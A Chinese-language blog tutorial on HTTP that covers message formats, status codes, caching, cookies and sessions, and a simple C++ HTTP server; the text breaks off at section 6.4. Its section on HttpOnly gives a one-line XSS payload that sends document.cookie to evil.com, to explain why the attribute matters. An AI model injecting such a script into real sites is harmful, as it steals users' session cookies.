当前位置: 首页 > news >正文

HTTP协议深度解析:从基础到性能优化

HTTP协议深度解析:从基础到性能优化

这是我在计网深度学习中第三篇技术总结。经过之前对TCP协议的深入学习,我开始转向应用层的HTTP协议。这篇文章将系统梳理HTTP的核心知识点,包括协议基础、请求响应格式、状态码、HTTP/1.1的关键特性,以及如何在C++ Reactor项目中实现一个高性能的HTTP服务器。
在这里插入图片描述

目录

  • 一、为什么要学HTTP?
  • 二、HTTP协议基础
    • 2.1 HTTP是什么
    • 2.2 HTTP工作流程
    • 2.3 HTTP请求格式
    • 2.4 HTTP响应格式
    • 2.5 HTTP状态码详解
  • 三、GET vs POST:深入理解幂等性
    • 3.1 核心区别
    • 3.2 幂等性详解
    • 3.3 实际应用场景
  • 四、Cookie与Session:状态管理
    • 4.1 HTTP的无状态特性
    • 4.2 Cookie机制
    • 4.3 Session机制
    • 4.4 完整登录流程
    • 4.5 HttpOnly安全属性
  • 五、HTTP/1.1核心特性
    • 5.1 持久连接(Keep-Alive)
    • 5.2 缓存验证机制
    • 5.3 Host头与虚拟主机
    • 5.4 分块传输编码
  • 六、在Reactor项目中实现HTTP服务器
    • 6.1 HTTP请求解析
    • 6.2 HTTP响应构造
    • 6.3 持久连接实现
    • 6.4 缓存验证实现
    • 6.5 Host头路由实现
  • 七、面试要点总结
    • 7.1 必背知识点
    • 7.2 高频面试题
    • 7.3 项目亮点
  • 八、学习心得与建议

一、为什么要学HTTP?

在完成TCP协议的学习后,我意识到仅仅掌握传输层还不够。当面试官问"你的项目支持HTTP协议吗?"时,我需要能够清晰地回答:

  1. 项目完整性:一个完整的网络服务器不仅要处理TCP连接,还要能解析HTTP请求、构造HTTP响应
  2. 实际应用:现实中99%的Web服务都基于HTTP,理解HTTP才能真正理解网络编程
  3. 面试高频:HTTP相关问题在网络编程面试中占比极高,特别是GET/POST区别、状态码、缓存机制等

更重要的是,HTTP协议是TCP协议的"客户",学习HTTP可以帮助我更好地理解TCP:

  • 为什么需要持久连接? 因为HTTP/1.0每次请求都要三次握手,开销太大
  • 为什么需要可靠传输? 因为HTTP需要保证数据完整性
  • 为什么需要拥塞控制? 因为HTTP传输的数据量可能很大

二、HTTP协议基础

2.1 HTTP是什么

HTTP = HyperText Transfer Protocol(超文本传输协议)

三个关键词:

  1. HyperText(超文本):不仅仅是文本,还包括图片、视频、音频、链接等
  2. Transfer(传输):客户端和服务器之间传输数据
  3. Protocol(协议):规定了数据传输的格式和规则

HTTP的核心特点:

应用层     HTTP ← 我们在这里↓(基于)
传输层     TCP ← 提供可靠传输↓(基于)
网络层     IP↓(基于)
数据链路层 以太网默认端口:HTTP:80HTTPS:443

无状态(Stateless):

HTTP本身不记住之前的请求,每个请求都是独立的。这带来了问题:如何维持登录状态?如何记住购物车?

解决方案:Cookie + Session机制(后面详细讲)


2.2 HTTP工作流程

1. 建立TCP连接(三次握手)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━客户端 → 服务器:SYN服务器 → 客户端:SYN+ACK客户端 → 服务器:ACK连接建立2. 发送HTTP请求
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━客户端 → 服务器:GET /index.html HTTP/1.1Host: www.example.com...3. 服务器处理请求
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━服务器:- 解析请求- 读取/index.html文件- 准备响应4. 发送HTTP响应
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━服务器 → 客户端:HTTP/1.1 200 OKContent-Type: text/html...<html>...</html>5. 关闭TCP连接(或保持连接)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━HTTP/1.0:默认关闭连接(四次挥手)HTTP/1.1:默认保持连接(Keep-Alive)

2.3 HTTP请求格式

HTTP请求由三部分组成(四部分如果算上可选的请求体):

┌──────────────────────────────────────┐
│ 请求行(Request Line)                │  ← 必须
│ 格式:方法 URL HTTP版本\r\n          │
├──────────────────────────────────────┤
│ 请求头(Request Headers)             │  ← 必须
│ 格式:键: 值\r\n                     │
│ (多行)                             │
├──────────────────────────────────────┤
│ 空行(\r\n)                         │  ← 必须(分隔符)
├──────────────────────────────────────┤
│ 请求体(Request Body)                │  ← 可选
│ (POST请求通常有,GET通常没有)       │
└──────────────────────────────────────┘

完整的GET请求示例:

GET /api/user?id=123&name=john HTTP/1.1\r\n
Host: www.example.com\r\n
User-Agent: Mozilla/5.0\r\n
Accept: application/json\r\n
Accept-Encoding: gzip, deflate\r\n
Connection: keep-alive\r\n
Cookie: sessionid=abc123\r\n
\r\n

关键点:

  • 参数在URL中:?id=123&name=john
  • 没有Content-Type(没有请求体)
  • 没有Content-Length(没有请求体)
  • 空行结束(\r\n

完整的POST请求示例:

POST /api/login HTTP/1.1\r\n
Host: www.example.com\r\n
User-Agent: Mozilla/5.0\r\n
Content-Type: application/json\r\n
Content-Length: 45\r\n
Connection: keep-alive\r\n
\r\n
{"username":"john","password":"123456"}

关键点:

  • 有Content-Type:application/json
  • 有Content-Length:45(请求体长度)
  • 空行后是请求体
  • 请求体是JSON格式

常用的HTTP方法:

GET:获取资源- 最常用- 幂等、可缓存- 参数在URL中POST:创建资源- 提交数据- 非幂等、不缓存- 参数在请求体中PUT:更新资源(完整更新)- 幂等、不缓存DELETE:删除资源- 幂等、不缓存HEAD:获取响应头(不要响应体)- 幂等、可缓存- 用于检查资源是否存在OPTIONS:查询支持的方法- 幂等- 用于CORS预检请求

常用请求头:

Host: www.example.com- 目标主机(HTTP/1.1必须)User-Agent: Mozilla/5.0 ...- 客户端信息Content-Type: application/json- 请求体类型Content-Length: 123- 请求体长度Cookie: sessionid=abc123- 会话信息Accept: application/json- 可接受的响应类型Authorization: Bearer token123- 身份验证Connection: keep-alive- 连接管理Accept-Encoding: gzip, deflate- 支持的压缩方式

2.4 HTTP响应格式

HTTP响应也由三部分组成:

┌──────────────────────────────────────┐
│ 状态行(Status Line)                 │  ← 必须
│ 格式:HTTP版本 状态码 状态描述\r\n   │
├──────────────────────────────────────┤
│ 响应头(Response Headers)            │  ← 必须
│ 格式:键: 值\r\n                     │
│ (多行)                             │
├──────────────────────────────────────┤
│ 空行(\r\n)                         │  ← 必须(分隔符)
├──────────────────────────────────────┤
│ 响应体(Response Body)               │  ← 通常有
│ (HTML、JSON、图片等)                │
└──────────────────────────────────────┘

200 OK响应示例:

HTTP/1.1 200 OK\r\n
Server: nginx/1.18.0\r\n
Date: Mon, 03 Nov 2025 12:00:00 GMT\r\n
Content-Type: text/html; charset=utf-8\r\n
Content-Length: 137\r\n
Connection: keep-alive\r\n
Cache-Control: max-age=3600\r\n
\r\n
<html><head><title>Example</title></head><body><h1>Hello World</h1></body>
</html>

常用响应头:

Content-Type: text/html; charset=utf-8- 响应体类型Content-Length: 1234- 响应体长度Server: nginx/1.18.0- 服务器信息Set-Cookie: sessionid=abc123; HttpOnly- 设置CookieCache-Control: max-age=3600- 缓存控制Last-Modified: Mon, 03 Nov 2025 10:00:00 GMT- 最后修改时间ETag: "123456"- 资源唯一标识Location: http://www.example.com/new- 重定向地址Connection: keep-alive- 连接管理

2.5 HTTP状态码详解

状态码是HTTP响应的核心,面试必考。必须记住这10个:

2xx - 成功:

200 OK- 请求成功- 最常见的状态码- 服务器成功处理请求并返回数据例子:GET /api/user/123 → 200 OK + 用户信息POST /api/orders → 200 OK + 订单信息

3xx - 重定向:

301 Moved Permanently- 永久重定向- 资源永久移动到新位置- 浏览器会自动跳转,并记住新地址- 搜索引擎会更新索引例子:访问:http://example.com响应:301 Moved PermanentlyLocation: http://www.example.com浏览器:自动跳转到www.example.com,以后直接访问新地址302 Found- 临时重定向- 资源临时移动到新位置- 浏览器会跳转,但不记住新地址- 搜索引擎不更新索引例子:未登录访问:/profile响应:302 FoundLocation: /login浏览器:跳转到/login,登录后再回到/profile304 Not Modified- 资源未修改(缓存有效)- 浏览器可以使用缓存- 节省带宽,提高速度例子:请求:GET /logo.pngIf-Modified-Since: Mon, 01 Nov 2025 10:00:00 GMT响应:304 Not Modified(资源没变,用缓存)浏览器:使用本地缓存的logo.png

4xx - 客户端错误:

400 Bad Request- 客户端请求错误- 请求格式错误、参数错误例子:POST /api/login{"username": "john"}  ← 缺少password字段响应:400 Bad Request + {"error": "缺少password字段"}401 Unauthorized- 未授权- 需要身份验证例子:GET /api/profile(没有携带Cookie或Token)响应:401 Unauthorized + {"error": "请先登录"}403 Forbidden- 禁止访问- 已登录,但没有权限例子:普通用户访问:GET /admin/users响应:403 Forbidden + {"error": "权限不足"}404 Not Found- 资源不存在- 最常见的错误状态码例子:GET /notexist.html响应:404 Not Found

5xx - 服务器错误:

500 Internal Server Error- 服务器内部错误- 代码异常、数据库错误例子:GET /api/user/123服务器:数据库查询时抛出异常响应:500 Internal Server Error502 Bad Gateway- 网关错误- 上游服务器错误例子:Nginx → 后端服务器(无法连接)响应:502 Bad Gateway503 Service Unavailable- 服务不可用- 服务器过载或维护例子:服务器重启中响应:503 Service UnavailableRetry-After: 300(5分钟后重试)

三、GET vs POST:深入理解幂等性

这是面试中的高频考点,必须能够清晰回答。

3.1 核心区别

┌──────────────┬─────────────────┬─────────────────┐
│ 对比项       │ GET             │ POST            │
├──────────────┼─────────────────┼─────────────────┤
│ 参数位置     │ URL中           │ 请求体中        │
├──────────────┼─────────────────┼─────────────────┤
│ 参数长度     │ 有限制(~2KB)  │ 无限制          │
├──────────────┼─────────────────┼─────────────────┤
│ 安全性       │ 低(URL可见)   │ 高(不在URL中) │
├──────────────┼─────────────────┼─────────────────┤
│ 缓存         │ 可以缓存        │ 通常不缓存      │
├──────────────┼─────────────────┼─────────────────┤
│ 历史记录     │ 保留在浏览器    │ 不保留          │
├──────────────┼─────────────────┼─────────────────┤
│ 书签         │ 可以添加        │ 不可添加        │
├──────────────┼─────────────────┼─────────────────┤
│ 幂等性       │ 幂等            │ 非幂等          │
├──────────────┼─────────────────┼─────────────────┤
│ 语义         │ 获取资源        │ 提交/修改资源   │
└──────────────┴─────────────────┴─────────────────┘

3.2 幂等性详解

定义:

幂等性(Idempotent):对同一个操作执行多次结果与执行一次相同

HTTP方法的幂等性:

GET(幂等):GET /api/user?id=123第1次:返回用户123的信息第2次:返回用户123的信息(相同)PUT(幂等):PUT /api/user/123 + {"name": "john", "age": 26}第1次:用户123更新为 {name: "john", age: 26}第2次:用户123还是 {name: "john", age: 26}(相同)DELETE(幂等):DELETE /api/user/123第1次:用户123被删除 → 200 OK第2次:用户123已不存在 → 404 Not Found最终状态相同(用户123不存在)POST(非幂等):POST /api/orders + {"product_id": 100}第1次:创建订单1001第2次:创建订单1002(不同)第3次:创建订单1003(不同)

幂等性的重要性:

1. 安全的重试机制:GET请求:网络超时,可以安全重试POST请求:网络超时,重试可能重复创建2. 浏览器行为:刷新页面(F5):GET请求 → 直接重新请求POST请求 → 浏览器警告:"是否重新提交表单?"3. 负载均衡:幂等请求可以安全地在多个服务器之间分发

3.3 实际应用场景

GET请求示例:

GET /api/user?id=123 HTTP/1.1
Host: www.example.com
Accept: application/json特点:
- 参数在URL中,可见
- 可以直接在浏览器地址栏访问
- 可以添加书签
- 会被浏览器缓存

POST请求示例:

POST /api/login HTTP/1.1
Host: www.example.com
Content-Type: application/json
Content-Length: 45{"username":"john","password":"123456"}特点:
- 参数在请求体中,不可见
- 无法直接在浏览器地址栏访问
- 不可添加书签
- 不会被浏览器缓存

四、Cookie与Session:状态管理

HTTP是无状态的,但我们需要维持用户的登录状态。Cookie和Session就是解决这个问题的方案。

4.1 HTTP的无状态特性

HTTP本身不记住之前的请求
每个请求都是独立的例子:第1次请求:GET /page1 → 服务器返回page1第2次请求:GET /page2 → 服务器不知道你刚才请求过page1问题:如何维持登录状态?如何记住购物车?

4.2 Cookie机制

存储位置: 客户端(浏览器)
容量: 小(~4KB)
安全性: 相对低(可被窃取)

工作流程:

1. 服务器通过Set-Cookie响应头设置Cookie
2. 浏览器自动保存Cookie到本地
3. 后续请求自动携带Cookie例子:服务器响应:Set-Cookie: sessionid=abc123; Path=/; HttpOnly; Secure浏览器保存:sessionid=abc123后续请求:Cookie: sessionid=abc123  ← 自动携带

4.3 Session机制

存储位置: 服务器端
容量: 大(无限制)
安全性: 高(存在服务器)

存储方式:

1. 内存(简单,但重启丢失)
2. Redis(常用,性能好)
3. 数据库(持久化)内容:sessionid: abc123数据:user_id: 123username: "john"login_time: "2025-11-03 12:00:00"

4.4 完整登录流程

这是面试中的重点,必须能画出完整流程图。

步骤1:用户登录(POST /api/login)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端 → 服务器:POST /api/login HTTP/1.1Content-Type: application/json{"username": "john", "password": "123456"}服务器处理:1. 验证用户名和密码2. 创建Session:sessionid = abc123xyz存储:{user_id: 123, username: "john"}3. 返回响应,设置Cookie服务器 → 客户端:HTTP/1.1 200 OKSet-Cookie: sessionid=abc123xyz; Path=/; HttpOnly; Secure{"code": 200, "message": "登录成功"}浏览器处理:保存Cookie:sessionid=abc123xyz━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
步骤2:访问受保护资源(GET /api/profile)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端 → 服务器:GET /api/profile HTTP/1.1Cookie: sessionid=abc123xyz  ← 自动携带服务器处理:1. 读取Cookie中的sessionid2. 查询Session存储3. 找到sessionid=abc123xyz4. 确认用户已登录5. 返回用户信息服务器 → 客户端:HTTP/1.1 200 OK{"username": "john", "email": "john@example.com"}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
步骤3:退出登录(POST /api/logout)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端 → 服务器:POST /api/logout HTTP/1.1Cookie: sessionid=abc123xyz服务器处理:1. 删除Session2. 返回响应,删除Cookie服务器 → 客户端:HTTP/1.1 200 OKSet-Cookie: sessionid=; Max-Age=0  ← 删除Cookie{"code": 200, "message": "退出成功"}

4.5 HttpOnly安全属性

这是Cookie安全的关键属性,防止XSS攻击。

没有HttpOnly的危险(XSS攻击):

1. 黑客在评论中插入恶意脚本:<script>fetch('http://evil.com?cookie=' + document.cookie)</script>2. 用户打开页面,脚本执行3. JavaScript读取Cookie:document.cookie  // sessionid=abc1234. Cookie被发送到evil.com5. 黑客获得sessionid,可以冒充用户

有HttpOnly的保护:

Set-Cookie: sessionid=abc123; HttpOnlyJavaScript无法读取:document.cookie  // 读不到sessionidXSS攻击失败:1. 黑客插入恶意脚本2. 脚本执行3. 尝试读取Cookie4. 读取失败!sessionid被保护只有浏览器能在HTTP请求中自动携带Cookie
JavaScript无法访问

完整Cookie属性:

Set-Cookie: sessionid=abc123; Path=/; HttpOnly; Secure; Max-Age=3600属性说明:sessionid=abc123:Cookie的值Path=/:作用于整个网站HttpOnly:防止JavaScript读取(防XSS)Secure:只在HTTPS中传输(防中间人攻击)Max-Age=3600:有效期3600秒(1小时)

五、HTTP/1.1核心特性

HTTP/1.1相比HTTP/1.0有重大改进,这些改进直接影响到Web性能。

5.1 持久连接(Keep-Alive)

问题背景:HTTP/1.0的性能瓶颈

HTTP/1.0每个请求都要建立新TCP连接例如:3个资源(HTML、CSS、JS)[TCP握手1] → [请求HTML] → [响应HTML] → [TCP挥手1]
[TCP握手2] → [请求CSS] → [响应CSS] → [TCP挥手2]
[TCP握手3] → [请求JS] → [响应JS] → [TCP挥手3]总时间:6个RTT(3次握手 + 3次请求+响应)问题:- 延迟高(每个请求2个RTT)- 资源浪费(频繁建立/关闭连接)- 效率低

HTTP/1.1的解决方案:持久连接

1个TCP连接,处理多个请求[TCP握手]→ [请求HTML] → [响应HTML]→ [请求CSS] → [响应CSS]→ [请求JS] → [响应JS]
[TCP挥手]总时间:4个RTT(1次握手 + 3次请求+响应)优势:- 只需一次TCP握手- 节省2个RTT(比非持久连接)- 减少服务器资源消耗

HTTP头控制:

HTTP/1.1默认开启Keep-Alive:Connection: keep-aliveKeep-Alive: timeout=5, max=100- timeout=5:空闲5秒后关闭- max=100:最多处理100个请求关闭Keep-Alive:Connection: close

非流水式 vs 流水式:

非流水式(Non-Pipelined,HTTP/1.1默认):- 必须等待响应后才能发送下一个请求(串行)- 3个请求 = 3个RTT流水式/管道化(Pipelined,HTTP/1.1可选):- 不等待响应,连续发送多个请求(并行)- 3个请求 = 1个RTT(最快)- 但存在HOL(Head-of-Line Blocking)问题- 实际很少使用

HOL(队头阻塞)问题:

场景:请求1:大文件(5秒)请求2:小文件(0.1秒)请求3:小文件(0.1秒)流水式:响应必须按顺序返回请求2和3必须等待请求1完成即使请求2和3已经处理完,也要等待非流水式:请求2可以立即返回实际应用:- 流水式虽然快,但HOL问题严重,很少使用- HTTP/1.1默认使用非流水式- HTTP/2.0解决了HOL问题(多路复用)

5.2 缓存验证机制

缓存是提升Web性能的关键,HTTP/1.1提供了强大的缓存验证机制。

为什么需要缓存?

场景:网站的logo.png,很久不变
问题:每次访问都重新下载100KB的logo.png没有缓存:每次访问 → 下载100KB → 浪费带宽有缓存:第1次访问 → 下载100KB → 保存到本地第2次访问 → 使用本地缓存 → 节省100KB第3次访问 → 使用本地缓存 → 节省100KB但是:如何知道缓存是否过期?→ 需要缓存验证机制

方式1:Last-Modified / If-Modified-Since(基于时间)

第1次请求(冷启动):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端:GET /logo.png HTTP/1.1Host: www.example.com服务器处理:1. 读取logo.png2. 获取文件修改时间:stat("logo.png").st_mtime= Mon, 01 Nov 2025 10:00:00 GMT服务器响应:HTTP/1.1 200 OKContent-Type: image/pngContent-Length: 102400Last-Modified: Mon, 01 Nov 2025 10:00:00 GMT  ← 关键(logo.png的数据,102400字节)浏览器:- 保存logo.png到缓存- 记录Last-Modified时间━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
第2次请求(有缓存,需要验证):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端:GET /logo.png HTTP/1.1If-Modified-Since: Mon, 01 Nov 2025 10:00:00 GMT  ← 带上时间服务器处理:1. 读取logo.png的当前修改时间2. 对比:If-Modified-Since == current_mtime?Mon, 01 Nov 2025 10:00:00 == Mon, 01 Nov 2025 10:00:00相同,文件没有修改服务器响应:HTTP/1.1 304 Not Modified  ← 关键,不返回数据Last-Modified: Mon, 01 Nov 2025 10:00:00 GMT(没有响应体,节省102400字节带宽)浏览器:使用本地缓存的logo.png带宽节省:第1次:102400字节(数据)第2次:约200字节(只有响应头)  节省99.8%

Last-Modified的问题:

1. 精度只有秒级:10:00:00.000 → 文件内容A10:00:00.500 → 文件内容B(0.5秒后修改)Last-Modified都是10:00:00,无法区分2. 文件修改但内容未变:打开文件,直接保存(内容没变)修改时间变了 → 认为文件变了返回200 OK → 浪费带宽3. 文件还原到之前的版本:版本A(10:00)→ 版本B(11:00)→ 版本A(12:00)修改时间12:00 != 11:00 → 认为变了但内容其实一样 → 浪费带宽

方式2:ETag / If-None-Match(基于内容)

第1次请求:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端:GET /api/data HTTP/1.1服务器处理:1. 生成数据:{"id": 123, "name": "john"}2. 计算ETag(MD5哈希):ETag = MD5({"id": 123, "name": "john"})= "abc123def456"服务器响应:HTTP/1.1 200 OKContent-Type: application/jsonETag: "abc123def456"  ← 关键,内容的哈希值{"id": 123, "name": "john"}浏览器:- 保存数据到缓存- 记录ETag━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
第2次请求(验证):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端:GET /api/data HTTP/1.1If-None-Match: "abc123def456"  ← 带上ETag服务器处理:1. 生成当前数据:{"id": 123, "name": "john"}2. 计算当前ETag:current_ETag = MD5({"id": 123, "name": "john"})= "abc123def456"3. 对比:If-None-Match == current_ETag"abc123def456" == "abc123def456"相同,内容没有变化服务器响应:HTTP/1.1 304 Not Modified  ← 不返回数据ETag: "abc123def456"(没有响应体)浏览器:使用本地缓存

ETag的优势:

- 字节级精度(0.001秒内的修改也能检测)
- 基于内容,不受时间影响
- 内容不变,ETag就不变(即使保存了文件)
- 适合动态内容(API返回的JSON,没有"修改时间")

两种方式对比:

┌──────────┬──────────────┬──────────────┐
│ 对比项   │ Last-Modified│ ETag         │
├──────────┼──────────────┼──────────────┤
│ 判断依据 │ 修改时间     │ 内容哈希值   │
├──────────┼──────────────┼──────────────┤
│ 精度     │ 秒级         │ 字节级       │
├──────────┼──────────────┼──────────────┤
│ 性能     │ 高(读时间) │ 低(算哈希) │
├──────────┼──────────────┼──────────────┤
│ 准确性   │ 低           │ 高           │
├──────────┼──────────────┼──────────────┤
│ 适用场景 │ 静态文件     │ 动态内容API  │
└──────────┴──────────────┴──────────────┘优先级:ETag > Last-Modified(ETag更精确)可以同时使用:服务器响应:HTTP/1.1 200 OKLast-Modified: Mon, 01 Nov 2025 10:00:00 GMTETag: "abc123"客户端请求:If-Modified-Since: Mon, 01 Nov 2025 10:00:00 GMTIf-None-Match: "abc123"服务器验证:1. 先检查ETag(更精确)2. 如果ETag相同,再检查Last-Modified3. 两者都满足 → 304 Not Modified

5.3 Host头与虚拟主机

HTTP/1.0的问题:

一个IP地址只能部署一个网站例如:服务器1:192.168.1.100 → www.example.com服务器2:192.168.1.101 → www.test.com服务器3:192.168.1.102 → www.demo.com需要3个服务器,成本高

HTTP/1.1的解决方案:Host头

一个IP地址可以部署多个网站(虚拟主机)服务器:192.168.1.100├─ www.example.com(根据Host头)├─ www.test.com(根据Host头)└─ www.demo.com(根据Host头)原理:客户端在HTTP请求中加上Host头服务器根据Host头路由到不同的网站根目录

完整流程:

访问 www.example.com:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. DNS解析:www.example.com → 192.168.1.100
2. TCP连接:connect(192.168.1.100, 80)
3. HTTP请求:GET /index.html HTTP/1.1Host: www.example.com  ← 关键4. 服务器处理:if (Host == "www.example.com") {return "/var/www/example/index.html";}访问 www.test.com:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. DNS解析:www.test.com → 192.168.1.100  ← 同一个IP
2. TCP连接:connect(192.168.1.100, 80)
3. HTTP请求:GET /index.html HTTP/1.1Host: www.test.com  ← 不同的Host4. 服务器处理:if (Host == "www.test.com") {return "/var/www/test/index.html";}

HTTP/1.1规范:

Host头是必须的(MUST)如果缺失Host头:GET /index.html HTTP/1.1(没有Host头)服务器:HTTP/1.1 400 Bad RequestMissing Host header

5.4 分块传输编码

问题背景:动态内容长度未知

场景1:动态生成HTML服务器从数据库查询数据,边查询边生成HTML不知道最终HTML有多长Content-Length: ???  ← 不知道传统方法:1. 先生成完整HTML(保存到内存)2. 计算总长度3. 设置Content-Length4. 发送响应缺点:- 延迟高(用户等待时间长)- 内存占用大(需要保存完整内容)场景2:大文件下载1GB的文件,一次性读入内存?- 内存占用1GB

解决方案:分块传输编码

不设置Content-Length
使用Transfer-Encoding: chunked
边生成边发送

格式:

HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked  ← 关键
Connection: keep-alive7\r\n          ← 第1块长度(16进制):7字节
Mozilla\r\n    ← 第1块数据
9\r\n          ← 第2块长度(16进制):9字节
Developer\r\n  ← 第2块数据
7\r\n          ← 第3块长度(16进制):7字节
Network\r\n    ← 第3块数据
0\r\n          ← 最后一块:长度为0,表示结束
\r\n           ← 结束标志格式规则:每块:<长度16进制>\r\n<数据>\r\n结束:0\r\n\r\n

浏览器接收流程:

1. 读取第1块长度:7(16进制)= 7字节
2. 读取7字节数据:"Mozilla"
3. 显示第1块内容(用户立刻看到)4. 读取第2块长度:9(16进制)= 9字节
5. 读取9字节数据:"Developer"
6. 显示第2块内容(逐步显示)7. 读取第3块长度:7(16进制)= 7字节
8. 读取7字节数据:"Network"
9. 显示第3块内容10. 读取最后一块长度:0
11. 传输结束完整内容:"MozillaDeveloperNetwork"

优势:

- 降低延迟:边生成边发送,用户立刻看到内容
- 降低内存:不需要保存完整内容
- 支持实时流:日志流、视频流、SSE
- 用户体验好:逐步显示,而不是等待全部加载

适用场景:

使用分块传输:- 动态生成的HTML(数据库查询)- 大文件下载(边读边发)- 实时数据流(日志、监控)- SSE(服务器推送事件)不使用分块传输:- 静态文件(已知大小)- 小数据(几KB)- HTTP/1.0(不支持)

Transfer-Encoding vs Content-Encoding:

┌──────────────┬──────────────────┬─────────────────┐
│ 对比项       │ Transfer-Encoding│ Content-Encoding│
├──────────────┼──────────────────┼─────────────────┤
│ 作用         │ 传输方式         │ 内容压缩        │
├──────────────┼──────────────────┼─────────────────┤
│ 常见值       │ chunked          │ gzip, br        │
├──────────────┼──────────────────┼─────────────────┤
│ 谁处理       │ HTTP协议栈       │ 应用层          │
├──────────────┼──────────────────┼─────────────────┤
│ Content-     │ 不需要(chunked)│ 需要(压缩后)  │
│ Length       │                  │                 │
└──────────────┴──────────────────┴─────────────────┘可以同时使用:HTTP/1.1 200 OKContent-Encoding: gzip           ← 内容用gzip压缩Transfer-Encoding: chunked       ← 传输用分块处理流程:服务器:生成HTML → gzip压缩 → 分块传输客户端:分块接收 → 组装 → gzip解压 → 显示

六、在Reactor项目中实现HTTP服务器

现在把理论知识应用到实际项目中。我的C++ Reactor项目需要支持HTTP协议。

6.1 HTTP请求解析

首先需要解析HTTP请求。关键点:

  1. 请求行:方法、URL、HTTP版本
  2. 请求头:键值对
  3. 请求体:JSON或表单数据
struct HttpRequest {std::string method;std::string url;std::string version;std::map<std::string, std::string> headers;std::string body;
};void parse_http_request(const char* buf, int len, HttpRequest& req) {std::string request(buf, len);// 1. 解析请求行size_t pos1 = request.find(' ');size_t pos2 = request.find(' ', pos1 + 1);size_t pos3 = request.find("\r\n");req.method = request.substr(0, pos1);req.url = request.substr(pos1 + 1, pos2 - pos1 - 1);req.version = request.substr(pos2 + 1, pos3 - pos2 - 1);// 2. 解析请求头size_t header_start = pos3 + 2;size_t header_end = request.find("\r\n\r\n");std::string header_str = request.substr(header_start, header_end - header_start);// 按行分割请求头std::istringstream iss(header_str);std::string line;while (std::getline(iss, line)) {if (line.empty() || line == "\r") break;size_t colon_pos = line.find(':');if (colon_pos != std::string::npos) {std::string key = line.substr(0, colon_pos);std::string value = line.substr(colon_pos + 2); // 跳过": "// 去掉行尾的\rif (!value.empty() && value.back() == '\r') {value.pop_back();}req.headers[key] = value;}}// 3. 解析请求体if (header_end != std::string::npos) {req.body = request.substr(header_end + 4);}
}

关键点:

  • 使用\r\n作为行分隔符
  • 使用\r\n\r\n作为头部和体的分隔符
  • 请求头是键: 值格式,注意冒号后有空格

6.2 HTTP响应构造

构造HTTP响应,关键是正确设置状态行、响应头、响应体。

struct HttpResponse {int status_code;std::string status_text;std::map<std::string, std::string> headers;std::string body;
};std::string build_http_response(const HttpResponse& resp) {std::stringstream ss;// 1. 状态行ss << "HTTP/1.1 " << resp.status_code << " " << resp.status_text << "\r\n";// 2. 响应头for (const auto& [key, value] : resp.headers) {ss << key << ": " << value << "\r\n";}// 3. 空行ss << "\r\n";// 4. 响应体ss << resp.body;return ss.str();
}// 快速构造响应的辅助函数
std::string build_json_response(int status_code, const std::string& json_body) {HttpResponse resp;resp.status_code = status_code;if (status_code == 200) resp.status_text = "OK";else if (status_code == 404) resp.status_text = "Not Found";else if (status_code == 500) resp.status_text = "Internal Server Error";resp.headers["Content-Type"] = "application/json";resp.headers["Content-Length"] = std::to_string(json_body.size());resp.headers["Connection"] = "keep-alive";resp.body = json_body;return build_http_response(resp);
}

使用示例:

void handle_request(int connfd, const HttpRequest& req) {if (req.method == "GET" && req.url == "/api/user") {std::string json = "{\"id\":123,\"name\":\"john\"}";std::string response = build_json_response(200, json);send(connfd, response.c_str(), response.size(), 0);}else if (req.method == "POST" && req.url == "/api/login") {// 验证用户名密码...std::string json = "{\"code\":200,\"message\":\"登录成功\"}";std::string response = build_json_response(200, json);// 设置Cookieresponse.insert(response.find("\r\n\r\n"), "\r\nSet-Cookie: sessionid=abc123; HttpOnly");send(connfd, response.c_str(), response.size(), 0);}else {std::string json = "{\"error\":\"Not Found\"}";std::string response = build_json_response(404, json);send(connfd, response.c_str(), response.size(), 0);}
}

6.3 持久连接实现

持久连接的关键:循环处理同一个连接上的多个请求。

void HttpServer::handleConnection(int connfd) {bool keep_alive = true;while (keep_alive) {// 1. 接收请求char buf[4096];int n = recv(connfd, buf, sizeof(buf), 0);if (n <= 0) break;// 2. 解析请求HttpRequest req;parse_http_request(buf, n, req);// 3. 检查是否继续保持连接if (req.version == "HTTP/1.1") {keep_alive = true;// 检查Connection头if (req.headers["Connection"] == "close") {keep_alive = false;}} else {// HTTP/1.0默认关闭连接keep_alive = false;}// 4. 处理请求,构造响应HttpResponse resp;routeRequest(req, resp);// 5. 设置响应头if (keep_alive) {resp.headers["Connection"] = "keep-alive";resp.headers["Keep-Alive"] = "timeout=5, max=100";} else {resp.headers["Connection"] = "close";}// 6. 发送响应std::string response = build_http_response(resp);send(connfd, response.c_str(), response.size(), 0);// 7. 如果不保持连接,关闭socketif (!keep_alive) {close(connfd);break;}}
}void HttpServer::routeRequest(const HttpRequest& req, HttpResponse& resp) {if (req.method == "GET" && req.url == "/api/user") {resp.status_code = 200;resp.status_text = "OK";resp.headers["Content-Type"] = "application/json";resp.body = "{\"id\":123,\"name\":\"john\"}";}else {resp.status_code = 404;resp.status_text = "Not Found";resp.headers["Content-Type"] = "application/json";resp.body = "{\"error\":\"Not Found\"}";}
}

关键点:

  1. 使用while循环处理多个请求
  2. 检查Connection头决定是否继续
  3. HTTP/1.1默认keep-alive,HTTP/1.0默认close
  4. 设置Keep-Alive头指定超时和最大请求数

6.4 缓存验证实现

实现Last-Modified缓存验证,返回304 Not Modified。

